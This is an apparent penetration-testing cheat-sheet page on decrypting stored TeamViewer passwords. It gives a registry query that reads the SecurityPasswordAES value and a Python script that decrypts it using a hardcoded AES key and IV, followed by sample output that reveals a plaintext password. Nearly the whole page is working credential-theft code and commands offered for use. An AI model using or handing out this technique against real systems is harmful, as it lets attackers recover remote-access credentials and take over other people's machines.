# TeamViewer Decrypt

Execute the following registry query

```
reg query HKEY_LOCAL_MACHINE\SOFTWARE\wow6432node\TeamViewer\Version7 /v SecurityPasswordAES   
```

The result will be something like this:

```
HKEY_LOCAL_MACHINE\SOFTWARE\wow6432node\TeamViewer\Version7
    SecurityPasswordAES    REG_BINARY    871C158E545657D6D714B34730465D85E4A5F96D3E6CCF47AE7310A3FC41AA4A18ADFE594917DD1847A810EFF8C13356   
```

Source code from GitHub

{% embed url="<https://gist.github.com/rishdang/442d355180e5c69e0fcb73fecd05d7e0>" %}

```python
#!/usr/bin/env python3

import sys, hexdump, binascii
from Crypto.Cipher import AES

class AESCipher:
    def __init__(self, key):
        self.key = key

    def decrypt(self, iv, data):
        self.cipher = AES.new(self.key, AES.MODE_CBC, iv)
        return self.cipher.decrypt(data)
print('''
This is a quick and dirty Teamviewer password decrypter basis wonderful post by @whynotsecurity.
Read this blogpost if you haven't already : https://whynotsecurity.com/blog/teamviewer
 
Please check below mentioned registry values and enter its value manually without spaces.
"SecurityPasswordAES" OR "OptionsPasswordAES" OR "SecurityPasswordExported" OR "PermanentPassword"

''')
hex_str_cipher = input("Enter output from registry without spaces : ")
key = binascii.unhexlify("0602000000a400005253413100040000")
iv = binascii.unhexlify("0100010067244F436E6762F25EA8D704")

ciphertext = binascii.unhexlify(hex_str_cipher)

raw_un = AESCipher(key).decrypt(iv, ciphertext)

password = raw_un.decode('utf-16')
print("Decrypted password is : ",password)
```

Running the script

```bash
./teamviewer_password_decryptor.py 

This is a quick and dirty Teamviewer password decrypter basis wonderful post by @whynotsecurity.
Read this blogpost if you haven't already : https://whynotsecurity.com/blog/teamviewer
 
Please check below mentioned registry values and enter its value manually without spaces.
"SecurityPasswordAES" OR "OptionsPasswordAES" OR "SecurityPasswordExported" OR "PermanentPassword"


Enter output from registry without spaces : 871C158E545657D6D714B34730465D85E4A5F96D3E6CCF47AE7310A3FC41AA4A18ADFE594917DD1847A810EFF8C13356  
Decrypted password is :  RedBullEnergyBadXD

```


---

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```
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```

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